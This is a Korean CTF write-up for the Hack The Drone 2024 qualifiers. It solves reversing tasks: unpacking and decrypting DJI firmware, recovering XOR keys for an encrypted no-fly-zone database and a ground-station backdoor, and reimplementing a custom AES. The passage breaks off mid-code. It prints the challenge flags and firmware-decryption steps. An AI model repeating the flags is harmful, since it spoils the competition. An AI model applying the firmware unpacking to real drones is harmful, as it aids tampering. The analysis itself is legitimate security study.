# Hack The Drone Quals 2024 Writeup ![image](https://hackmd.io/_uploads/S122PAonR.png) ![image](https://hackmd.io/_uploads/SkRAwRihC.png) - 2024년 9월 7일(토) 13:00 ~ 2024년 9월 8일(일) 13:00 (24h) - `하입보잉원` 5위 - [CTFtime](https://ctftime.org/event/2474) ## Reversing ### 0. Real Firmware #### Description ![image](https://hackmd.io/_uploads/SkJ007c30.png) #### Solution - 제공된 파일은 DJI Firmware이며 다음과 같은 펌웨어와 관련된 도구를 찾을 수 있음 - [펌웨어 복구 스크립트](https://github.com/Demion/DJI_FC/blob/master/DJI_FC.bat) - [DJI 펌웨어 도구](https://github.com/o-gs/dji-firmware-tools) - 위 도구를 활용하여 다음과 같은 스크립트를 실행해주면 바이너리 복구 가능 #### Code ``` python ./dji-firmware-tools/dji_imah_fwsig.py -u -i ./wm100_0306_v03.02.43.20_20170920.pro.fw.sig python ./dji-firmware-tools/dji_mvfc_fwpak.py dec -i ./wm100_0306_v03.02.43.20_20170920.pro.fw_0306.bin python ./dji-firmware-tools/dji_flyc_param_ed.py -x -b 0x420000 -m ./wm100_0306_v03.02.43.20_20170920.pro.fw_0306.decrypted.bin python ./dji_flyc_cmd_table.py -x -b 0x420000 -m ./wm100_0306_v03.02.43.20_20170920.pro.fw_0306.decrypted.bin move ./*.bin ./V01.00.0900_Spark_dji_system/ move ./*.ini ./V01.00.0900_Spark_dji_system/ move ./flyc_param_infos ./V01.00.0900_Spark_dji_system/ move ./config_command_table.txt ./V01.00.0900_Spark_dji_system/ python3 arm_bin2elf.py -vv -e -b 0x420000 --section .ARM.exidx@0x5277d0:0 --section .bss@0x20400000:0x60000 --section .bss2@0x400E0000:0x1000 --section .bss3@0xE0000000:0x10000 -p ../V01.00.0900_Spark_dji_system/wm100_0306_v03.02.43.20_20170920.pro.fw_0306.decrypted.bin ``` - 복구 된 바이너리에서 skey 문자열 검색을 통해 관련 함수 식별 및 플래그 획득 가능 ![image](https://hackmd.io/_uploads/SySy-VqhR.png) #### Flag - HTD{7706a6bc9cffc497719525b39cea78e2} ### 1. NFZ #### Description ![image](https://hackmd.io/_uploads/rJVWmVch0.png) #### Solution - SQLite3 포맷의 데이터베이스 파일과 key 파일을 제공받아 validation check를 수행하는 바이너리 - key의 경우 0x20 바이트로 단순 xor 연산만 수행하여 known bytes와 encrypted bytes를 연산하여 복구 가능 - 상위 0x10 바이트의 경우 `SQLite format 3\x00` 값으로 구함 - 하위 0x10 바이트의 경우 상위 0x10바이트를 통해 복구된 문자열의 데이터를 활용하여 구함 - 암호화 알고리즘의 결과가 여러개 나올 수 있어 여러 블록의 역연산을 통해 고유한 키 획득 가능 #### Code ```python def decrypt(encrypted_data, key): size = len(encrypted_data) decrypted_data = bytearray(size) for i in range(size): decrypted_data[i] = derive_key_byte(encrypted_data[i], key[i % len(key)], i) return decrypted_data def derive_key_byte(cipher_byte, plain_byte, i): v4 = (((31 * i) ^ cipher_byte) - (i * plain_byte)) & 0xff key_byte = (plain_byte ^ (((v4 >> 4) | (16 * v4)) - 85)) - plain_byte - i return key_byte & 0xFF def get_key(enc, org, i): keys = [] for key in range(0, 0x80): v3 = key v4 = (((0x1F * i) ^ enc) - i * v3) & 0xFF; res = ((v3 ^ (((v4 >> 4) | (0x10 * v4)) - 0x55)) - v3 - i) & 0xFF if(res == org): return key key = bytes([55, 48,52, 101,100,97,57,101,102,97,48,98,98,52,53,99]) key += bytes([97, 55, 54, 55, 100, 99, 50, 100, 48, 57, 56, 97, 49, 98, 53, 55]) print(''.join(list(map(chr, key)))) nfz = open('nfz.db.enc', 'rb').read() decrypted_data = decrypt(nfz, key) open('nfz.db', 'wb').write(decrypted_data) ``` #### Flag - HTD{H0w_dId_y0u_BypaSS_v3rific4Ti0n} ### 2. Ghost in the Ground Station #### Description ![image](https://hackmd.io/_uploads/HJHINN5hR.png) #### Solution - [오픈소스](https://github.com/mavlink/qgroundcontrol/blob/eb15982494f5815b9bd6a4ff1172de8593bba801/src/Vehicle/Vehicle.cc#L1071)를 활용하여 백도어 커맨드를 추가한 문제 - BATTERY_STATUS 관련 코드 위주로 오디팅하면 4바이트 값과 암호화 된 패킷을 xor하는 코드 발견 가능 ![image](https://hackmd.io/_uploads/Hyc2E45nA.png) - MAVLINK2 패킷 구조 상 고정되는 값을 활용해 key 복구 가능 ![image](https://hackmd.io/_uploads/r1bSrNc2A.png) #### Code ```python import struct p32 =lambda x : struct.pack("<I",x) enc = [0x597093ef, 0xca71a49b, 0xd38a512, 0x6816de56, 0x342fc97e, 0x6807fa21, 0x352fcd25, 0x643d322, 0x2c46fa23, 0x6459021, 0x643cd25, 0x606d07e, 0x6e479170, 0x609d721, 0x3d2f9023, 0x24149121] for x in range(0, 1): flag = b'' for i in range(0, len(enc)): flag += p32(enc[i] ^ 0x5970a512) print(x, flag) ``` #### Flag - HTD{f1ll_m3_w17h_l0v3_1_6u355_7h3_luv_b4773ry_15_d34d} ### 3. Simulator #### Description ![image](https://hackmd.io/_uploads/ByZsHVqnR.png) #### Solution - [오픈소스](https://github.com/PX4/PX4-Autopilot/blob/bb0210ecd7028a14e7aaed850f4091fb5b9487da/src/modules/commander/Commander.cpp#L300)를 활용하여 커맨드를 추가한 문제 - check 커맨드 처리 과정에서 오픈소스에는 없는 함수 존재 ![image](https://hackmd.io/_uploads/SyLf84q2R.png) - 해당 함수는 파일을 읽어 AES128으로 암호화 하는 기능 수행 - sbox: custom sbox 사용 - key: AES128_CipherKey - mode: ECB - transpose ![image](https://hackmd.io/_uploads/r1aNIVqn0.png) #### Code ```python class AES_implemented: rcon = ([0x01, 0, 0, 0], [0x02, 0, 0, 0], [0x04, 0, 0, 0], [0x08, 0, 0, 0], [0x10, 0, 0, 0], [0x20, 0, 0, 0], [0x40, 0, 0, 0], [0x80, 0, 0, 0], [0x1b, 0, 0, 0], [0x36, 0, 0, 0]) gf_mul_2 = ( 0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e, 0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e, 0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e, 0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e, 0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e, 0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe, 0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde, 0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe, 0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05, 0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25, 0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45, 0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65, 0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85, 0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5, 0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5, 0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5 ) gf_mul_3 = ( 0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11, 0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21, 0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71, 0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41, 0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1, 0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1, 0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1, 0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81, 0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a, 0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba, 0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea, 0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda, 0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a, 0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a, 0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a, 0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a ) gf_mul_9 = ( 0x00, 0x09, 0x12, 0x1b, 0x24, 0x2d, 0x36, 0x3f, 0x48, 0x41, 0x5a, 0x53, 0x6c, 0x65, 0x7e, 0x77, 0x90, 0x99, 0x82, 0x8b, 0xb4, 0xbd, 0xa6, 0xaf, 0xd8, 0xd1, 0xca, 0xc3, 0xfc, 0xf5, 0xee, 0xe7, 0x3b, 0x32, 0x29, 0x20, 0x1f, 0x16, 0x0d, 0x04, 0x73, 0x7a, 0x61, 0x68, 0x57, 0x5e, 0x45, 0x4c, 0xab, 0xa2, 0xb9, 0xb0, 0x8f, 0x86, 0x9d, 0x94, 0xe3, 0xea, 0xf1, 0xf8, 0xc7, 0xce, 0xd5, 0xdc, 0x76, 0x7f, 0x64, 0x6d, 0x52, 0x5b, 0x40, 0x49, 0x3e, 0x37, 0x2c, 0x25, 0x1a, 0x13, 0x08, 0x01, 0xe6, 0xef, 0xf4, 0xfd, 0xc2, 0xcb, 0xd0, 0xd9, 0xae, 0xa7, 0xbc, 0xb5, 0x8a, 0x83, 0x98, 0x91, 0x4d, 0x44, 0x5f, 0x56, 0x69, 0x60, 0x7b, 0x72, 0x05, 0x0c, 0x17, 0x1e, 0x21, 0x28, 0x33, 0x3a, 0xdd, 0xd4, 0xcf, 0xc6, 0xf9, 0xf0, 0xeb, 0xe2, 0x95, 0x9c, 0x87, 0x8e, 0xb1, 0xb8, 0xa3, 0xaa, 0xec, 0xe5, 0xfe, 0xf7, 0xc8, 0xc1, 0xda, 0xd3, 0xa4, 0xad, 0xb6, 0xbf, 0x80, 0x89, 0x92, 0x9b, 0x7c, 0x75, 0x6e, 0x67, 0x58, 0x51, 0x4a, 0x43, 0x34, 0x3d, 0x26, 0x2f, 0x10, 0x19, 0x02, 0x0b, 0xd7, 0xde, 0xc5, 0xcc, 0xf3, 0xfa, 0xe1, 0xe8, 0x9f, 0x96, 0x8d, 0x84, 0xbb, 0xb2, 0xa9, 0xa0, 0x47, 0x4e, 0x55, 0x5c, 0x63, 0x6a, 0x71, 0x78, 0x0f, 0x06, 0x1d, 0x14, 0x2b, 0x22, 0x39, 0x30, 0x9a, 0x93, 0x88, 0x81, 0xbe, 0xb7, 0xac, 0xa5, 0xd2, 0xdb, 0xc0, 0xc9, 0xf6, 0xff, 0xe4, 0xed, 0x0a, 0x03, 0x18, 0x11, 0x2e, 0x27, 0x3c, 0x35, 0x42, 0x4b, 0x50, 0x59, 0x66, 0x6f, 0x74, 0x7d, 0xa1, 0xa8, 0xb3, 0xba, 0x85, 0x8c, 0x97, 0x9e, 0xe9, 0xe0, 0xfb, 0xf2, 0xcd, 0xc4, 0xdf, 0xd6, 0x31, 0x38, 0x23, 0x2a, 0x15, 0x1c, 0x07, 0x0e, 0x79, 0x70, 0x6b, 0x62, 0x5d, 0x54, 0x4f, 0x46 ) gf_mul_11 = ( 0x00, 0x0b, 0x16, 0x1d, 0x2c, 0x27, 0x3a, 0x31, 0x58, 0x53, 0x4e, 0x45, 0x74, 0x7f, 0x62, 0x69, 0xb0, 0xbb, 0xa6, 0xad, 0x9c, 0x97, 0x8a, 0x81, 0xe8, 0xe3, 0xfe, 0xf5, 0xc4, 0xcf, 0xd2, 0xd9, 0x7b, 0x70, 0x6d, 0x66, 0x57, 0x5c, 0x41, 0x4a, 0x23, 0x28, 0x35, 0x3e, 0x0f, 0x04, 0x19, 0x12, 0xcb, 0xc0, 0xdd, 0xd6, 0xe7, 0xec, 0xf1, 0xfa, 0x93, 0x98, 0x85, 0x8e, 0xbf, 0xb4, 0xa9, 0xa2, 0xf6, 0xfd, 0xe0, 0xeb, 0xda, 0xd1, 0xcc, 0xc7, 0xae, 0xa5, 0xb8, 0xb3, 0x82, 0x89, 0x94, 0x9f, 0x46, 0x4d, 0x50, 0x5b, 0x6a, 0x61, 0x7c, 0x77, 0x1e, 0x15, 0x08, 0x03, 0x32, 0x39, 0x24, 0x2f, 0x8d, 0x86, 0x9b, 0x90, 0xa1, 0xaa, 0xb7, 0xbc, 0xd5, 0xde, 0xc3, 0xc8, 0xf9, 0xf2, 0xef, 0xe4, 0x3d, 0x36, 0x2b, 0x20, 0x11, 0x1a, 0x07, 0x0c, 0x65, 0x6e, 0x73, 0x78, 0x49, 0x42, 0x5f, 0x54, 0xf7, 0xfc, 0xe1, 0xea, 0xdb, 0xd0, 0xcd, 0xc6, 0xaf, 0xa4, 0xb9, 0xb2, 0x83, 0x88, 0x95, 0x9e, 0x47, 0x4c, 0x51, 0x5a, 0x6b, 0x60, 0x7d, 0x76, 0x1f, 0x14, 0x09, 0x02, 0x33, 0x38, 0x25, 0x2e, 0x8c, 0x87, 0x9a, 0x91, 0xa0, 0xab, 0xb6, 0xbd, 0xd4, 0xdf, 0xc2, 0xc9, 0xf8, 0xf3, 0xee, 0xe5, 0x3c, 0x37, 0x2a, 0x21, 0x10, 0x1b, 0x06, 0x0d, 0x64, 0x6f, 0x72, 0x79, 0x48, 0x43, 0x5e, 0x55, 0x01, 0x0a, 0x17, 0x1c, 0x2d, 0x26, 0x3b, 0x30, 0x59, 0x52, 0x4f, 0x44, 0x75, 0x7e, 0x63, 0x68, 0xb1, 0xba, 0xa7, 0xac, 0x9d, 0x96, 0x8b, 0x80, 0xe9, 0xe2, 0xff, 0xf4, 0xc5, 0xce, 0xd3, 0xd8, 0x7a, 0x71, 0x6c, 0x67, 0x56, 0x5d, 0x40, 0x4b, 0x22, 0x29, 0x34, 0x3f, 0x0e, 0x05, 0x18, 0x13, 0xca, 0xc1, 0xdc, 0xd7, 0xe6, 0xed, 0xf0, 0xfb, 0x92, 0x99, 0x84, 0x8f, 0xbe, 0xb5, 0xa8, 0xa3 ) gf_mul_13 = ( 0x00, 0x0d, 0x1a, 0x17, 0x34, 0x39, 0x2e, 0x23, 0x68, 0x65, 0x72, 0x7f, 0x5c, 0x51, 0x46, 0x4b, 0xd0, 0xdd, 0xca, 0xc7, 0xe4, 0xe9, 0xfe, 0xf3, 0xb8, 0xb5, 0xa2, 0xaf, 0x8c, 0x81, 0x96, 0x9b, 0xbb, 0xb6, 0xa1, 0xac, 0x8f, 0x82, 0x95, 0x98, 0xd3, 0xde, 0xc9, 0xc4, 0xe7, 0xea, 0xfd, 0xf0, 0x6b, 0x66, 0x71, 0x7c, 0x5f, 0x52, 0x45, 0x48, 0x03, 0x0e, 0x19, 0x14, 0x37, 0x3a, 0x2d, 0x20, 0x6d, 0x60, 0x77, 0x7a, 0x59, 0x54, 0x43, 0x4e, 0x05, 0x08, 0x1f, 0x12, 0x31, 0x3c, 0x2b, 0x26, 0xbd, 0xb0, 0xa7, 0xaa, 0x89, 0x84, 0x93, 0x9e, 0xd5, 0xd8, 0xcf, 0xc2, 0xe1, 0xec, 0xfb, 0xf6, 0xd6, 0xdb, 0xcc, 0xc1, 0xe2, 0xef, 0xf8, 0xf5, 0xbe, 0xb3, 0xa4, 0xa9, 0x8a, 0x87, 0x90, 0x9d, 0x06, 0x0b, 0x1c, 0x11, 0x32, 0x3f, 0x28, 0x25, 0x6e, 0x63, 0x74, 0x79, 0x5a, 0x57, 0x40, 0x4d, 0xda, 0xd7, 0xc0, 0xcd, 0xee, 0xe3, 0xf4, 0xf9, 0xb2, 0xbf, 0xa8, 0xa5, 0x86, 0x8b, 0x9c, 0x91, 0x0a, 0x07, 0x10, 0x1d, 0x3e, 0x33, 0x24, 0x29, 0x62, 0x6f, 0x78, 0x75, 0x56, 0x5b, 0x4c, 0x41, 0x61, 0x6c, 0x7b, 0x76, 0x55, 0x58, 0x4f, 0x42, 0x09, 0x04, 0x13, 0x1e, 0x3d, 0x30, 0x27, 0x2a, 0xb1, 0xbc, 0xab, 0xa6, 0x85, 0x88, 0x9f, 0x92, 0xd9, 0xd4, 0xc3, 0xce, 0xed, 0xe0, 0xf7, 0xfa, 0xb7, 0xba, 0xad, 0xa0, 0x83, 0x8e, 0x99, 0x94, 0xdf, 0xd2, 0xc5, 0xc8, 0xeb, 0xe6, 0xf1, 0xfc, 0x67, 0x6a, 0x7d, 0x70, 0x53, 0x5e, 0x49, 0x44, 0x0f, 0x02, 0x15, 0x18, 0x3b, 0x36, 0x21, 0x2c, 0x0c, 0x01, 0x16, 0x1b, 0x38, 0x35, 0x22, 0x2f, 0x64, 0x69, 0x7e, 0x73, 0x50, 0x5d, 0x4a, 0x47, 0xdc, 0xd1, 0xc6, 0xcb, 0xe8, 0xe5, 0xf2, 0xff, 0xb4, 0xb9, 0xae, 0xa3, 0x80, 0x8d, 0x9a, 0x97 ) gf_mul_14 = ( 0x00, 0x0e, 0x1c, 0x12, 0x38, 0x36, 0x24, 0x2a, 0x70, 0x7e, 0x6c, 0x62, 0x48, 0x46, 0x54, 0x5a, 0xe0, 0xee, 0xfc, 0xf2, 0xd8, 0xd6, 0xc4, 0xca, 0x90, 0x9e, 0x8c, 0x82, 0xa8, 0xa6, 0xb4, 0xba, 0xdb, 0xd5, 0xc7, 0xc9, 0xe3, 0xed, 0xff, 0xf1, 0xab, 0xa5, 0xb7, 0xb9, 0x93, 0x9d, 0x8f, 0x81, 0x3b, 0x35, 0x27, 0x29, 0x03, 0x0d, 0x1f, 0x11, 0x4b, 0x45, 0x57, 0x59, 0x73, 0x7d, 0x6f, 0x61, 0xad, 0xa3, 0xb1, 0xbf, 0x95, 0x9b, 0x89, 0x87, 0xdd, 0xd3, 0xc1, 0xcf, 0xe5, 0xeb, 0xf9, 0xf7, 0x4d, 0x43, 0x51, 0x5f, 0x75, 0x7b, 0x69, 0x67, 0x3d, 0x33, 0x21, 0x2f, 0x05, 0x0b, 0x19, 0x17, 0x76, 0x78, 0x6a, 0x64, 0x4e, 0x40, 0x52, 0x5c, 0x06, 0x08, 0x1a, 0x14, 0x3e, 0x30, 0x22, 0x2c, 0x96, 0x98, 0x8a, 0x84, 0xae, 0xa0, 0xb2, 0xbc, 0xe6, 0xe8, 0xfa, 0xf4, 0xde, 0xd0, 0xc2, 0xcc, 0x41, 0x4f, 0x5d, 0x53, 0x79, 0x77, 0x65, 0x6b, 0x31, 0x3f, 0x2d, 0x23, 0x09, 0x07, 0x15, 0x1b, 0xa1, 0xaf, 0xbd, 0xb3, 0x99, 0x97, 0x85, 0x8b, 0xd1, 0xdf, 0xcd, 0xc3, 0xe9, 0xe7, 0xf5, 0xfb, 0x9a, 0x94, 0x86, 0x88, 0xa2, 0xac, 0xbe, 0xb0, 0xea, 0xe4, 0xf6, 0xf8, 0xd2, 0xdc, 0xce, 0xc0, 0x7a, 0x74, 0x66, 0x68, 0x42, 0x4c, 0x5e, 0x50, 0x0a, 0x04, 0x16, 0x18, 0x32, 0x3c, 0x2e, 0x20, 0xec, 0xe2, 0xf0, 0xfe, 0xd4, 0xda, 0xc8, 0xc6, 0x9c, 0x92, 0x80, 0x8e, 0xa4, 0xaa, 0xb8, 0xb6, 0x0c, 0x02, 0x10, 0x1e, 0x34, 0x3a, 0x28, 0x26, 0x7c, 0x72, 0x60, 0x6e, 0x44, 0x4a, 0x58, 0x56, 0x37, 0x39, 0x2b, 0x25, 0x0f, 0x01, 0x13, 0x1d, 0x47, 0x49, 0x5b, 0x55, 0x7f, 0x71, 0x63, 0x6d, 0xd7, 0xd9, 0xcb, 0xc5, 0xef, 0xe1, 0xf3, 0xfd, 0xa7, 0xa9, 0xbb, 0xb5, 0x9f, 0x91, 0x83, 0x8d ) sbox = ( 0x7d, 0x0c, 0x21, 0x55, 0x63, 0x14, 0x69, 0xe1, 0x26, 0xd6, 0x77, 0xba, 0x7e, 0x04, 0x2b, 0x17, 0x61, 0x99, 0x53, 0x83, 0x3c, 0xbb, 0xeb, 0xc8, 0xb0, 0xf5, 0x2a, 0xae, 0x4d, 0x3b, 0xe0, 0xa0, 0xef, 0x9c, 0xc9, 0x93, 0x9f, 0x7a, 0xe5, 0x2d, 0x0d, 0x4a, 0xb5, 0x19, 0xa9, 0x7f, 0x51, 0x60, 0x5f, 0xec, 0x80, 0x27, 0x59, 0x10, 0x12, 0xb1, 0x31, 0xc7, 0x07, 0x88, 0x33, 0xa8, 0xdd, 0x1f, 0xf4, 0x5a, 0xcd, 0x78, 0xfe, 0xc0, 0xdb, 0x9a, 0x20, 0x79, 0xd2, 0xc6, 0x4b, 0x3e, 0x56, 0xfc, 0x1b, 0xbe, 0x18, 0xaa, 0x0e, 0x62, 0xb7, 0x6f, 0x89, 0xc5, 0x29, 0x1d, 0x71, 0x1a, 0xf1, 0x47, 0x6e, 0xdf, 0x75, 0x1c, 0xe8, 0x37, 0xf9, 0xe2, 0x85, 0x35, 0xad, 0xe7, 0x22, 0x74, 0xac, 0x96, 0x73, 0xe6, 0xb4, 0xf0, 0xce, 0xcf, 0xf2, 0x97, 0xea, 0xdc, 0x67, 0x4f, 0x41, 0x11, 0x91, 0x3a, 0x6b, 0x8a, 0x13, 0x01, 0x03, 0xbd, 0xaf, 0xc1, 0x02, 0x0f, 0x3f, 0xca, 0x8f, 0x1e, 0x2c, 0xd0, 0x06, 0x45, 0xb3, 0xb8, 0x05, 0x58, 0xe4, 0xf7, 0x0a, 0xd3, 0xbc, 0x8c, 0x00, 0xab, 0xd8, 0x90, 0x84, 0x9d, 0x8d, 0xa7, 0x57, 0x46, 0x15, 0x5e, 0xda, 0xb9, 0xed, 0xfd, 0x50, 0x48, 0x70, 0x6c, 0x92, 0xb6, 0x65, 0x5d, 0xcc, 0x5c, 0xa4, 0xd4, 0x16, 0x98, 0x68, 0x86, 0x64, 0xf6, 0xf8, 0x72, 0x25, 0xd1, 0x8b, 0x6d, 0x49, 0xa2, 0x5b, 0x76, 0xb2, 0x24, 0xd9, 0x28, 0x66, 0xa1, 0x2e, 0x08, 0x4e, 0xc3, 0xfa, 0x42, 0x0b, 0x95, 0x4c, 0xee, 0x3d, 0x23, 0xc2, 0xa6, 0x32, 0x94, 0x7b, 0x54, 0xcb, 0xe9, 0xde, 0xc4, 0x44, 0x43, 0x8e, 0x34, 0x87, 0xff, 0x2f, 0x9b, 0x82, 0x39, 0xe3, 0x7c, 0xfb, 0xd7, 0xf3, 0x81, 0x9e, 0xa3, 0x40, 0xbf, 0x38, 0xa5, 0x36, 0x30, 0xd5, 0x6a, 0x09, 0x52 ) sbox_inv = ( 156, 131, 136, 132, 13, 148, 144, 58, 207, 254, 152, 212, 1, 40, 84, 137, 53, 125, 54, 130, 5, 166, 184, 15, 82, 43, 93, 80, 99, 91, 141, 63, 72, 2, 108, 217, 201, 192, 8, 51, 203, 90, 26, 14, 142, 39, 206, 234, 251, 56, 220, 60, 231, 105, 250, 101, 248, 237, 127, 29, 20, 216, 77, 138, 246, 124, 211, 229, 228, 145, 165, 95, 173, 196, 41, 76, 214, 28, 208, 123, 172, 46, 255, 18, 223, 3, 78, 164, 149, 52, 65, 198, 181, 179, 167, 48, 47, 16, 85, 4, 188, 178, 204, 122, 186, 6, 253, 128, 175, 195, 96, 87, 174, 92, 191, 112, 109, 98, 199, 10, 67, 73, 37, 222, 239, 0, 12, 45, 50, 243, 236, 19, 160, 104, 187, 232, 59, 88, 129, 194, 155, 162, 230, 140, 159, 126, 176, 35, 221, 213, 111, 119, 185, 17, 71, 235, 33, 161, 244, 36, 31, 205, 197, 245, 182, 249, 219, 163, 61, 44, 83, 157, 110, 106, 27, 134, 24, 55, 200, 146, 114, 42, 177, 86, 147, 169, 11, 21, 154, 133, 81, 247, 69, 135, 218, 209, 227, 89, 75, 57, 23, 34, 139, 224, 180, 66, 116, 117, 143, 193, 74, 153, 183, 252, 9, 241, 158, 202, 168, 70, 121, 62, 226, 97, 30, 7, 103, 238, 150, 38, 113, 107, 100, 225, 120, 22, 49, 170, 215, 32, 115, 94, 118, 242, 64, 25, 189, 151, 190, 102, 210, 240, 79, 171, 68, 233 ) def __init__(self, key): assert isinstance(key, bytes) and len(key) == 16 self._block_size = 16 self._round = 10 self._round_keys = [] self._state = [] def _transpose(self, m): return [m[4 * j + i] for i in range(4) for j in range(4)] def _xor(self, a, b): return [x ^ y for x, y in zip(a, b)] def _expand_key(self, key): round_keys = [[c for c in key]] for round_n in range(self._round): prev_round_key = round_keys[round_n] round_key = prev_round_key[-4:] round_key = round_key[1:] + round_key[:1] round_key = [self.sbox[i] for i in round_key] round_key = self._xor( self._xor(round_key, prev_round_key[:4]), self.rcon[round_n] ) for i in range(0, 12, 4): round_key += self._xor(round_key[i : i + 4], prev_round_key[i + 4 : i + 8]) round_keys.append(round_key) for round_n in range(self._round + 1): round_keys[round_n] = self._transpose(round_keys[round_n]) return round_keys def _add_round_key(self, round_n): self._state = self._xor(self._state, self._round_keys[round_n]) def _sub_bytes(self): self._state = [self.sbox[c] for c in self._state] def _sub_bytes_inv(self): self._state = [self.sbox_inv[c] for c in self._state] def _shift_rows(self): self._state = [ self._state[0], self._state[1], self._state[2], self._state[3], self._state[5], self._state[6], self._state[7], self._state[4], self._state[10], self._state[11], self._state[8], self._state[9], self._state[15], self._state[12], self._state[13], self._state[14] ] def _shift_rows_inv(self): self._state = [ self._state[0], self._state[1], self._state[2], self._state[3], self._state[7], self._state[4], self._state[5], self._state[6], self._state[10], self._state[11], self._state[8], self._state[9], self._state[13], self._state[14], self._state[15], self._state[12] ] def _mix_columns(self): s = [0] * self._block_size for i in range(4): s[i] = self.gf_mul_2[self._state[i]] ^ self.gf_mul_3[self._state[i + 4]] ^ self._state[i + 8] ^ self._state[i + 12] s[i + 4] = self._state[i] ^ self.gf_mul_2[self._state[i + 4]] ^ self.gf_mul_3[self._state[i + 8]] ^ self._state[i + 12] s[i + 8] = self._state[i] ^ self._state[i + 4] ^ self.gf_mul_2[self._state[i + 8]] ^ self.gf_mul_3[self._state[i + 12]] s[i + 12] = self.gf_mul_3[self._state[i]] ^ self._state[i + 4] ^ self._state[i + 8] ^ self.gf_mul_2[self._state[i + 12]] self._state = s def _mix_columns_inv(self): s = [0] * self._block_size for i in range(4): s[i] = self.gf_mul_14[self._state[i]] ^ self.gf_mul_11[self._state[i + 4]] ^ self.gf_mul_13[self._state[i + 8]] ^ self.gf_mul_9[self._state[i + 12]] s[i + 4] = self.gf_mul_9[self._state[i]] ^ self.gf_mul_14[self._state[i + 4]] ^ 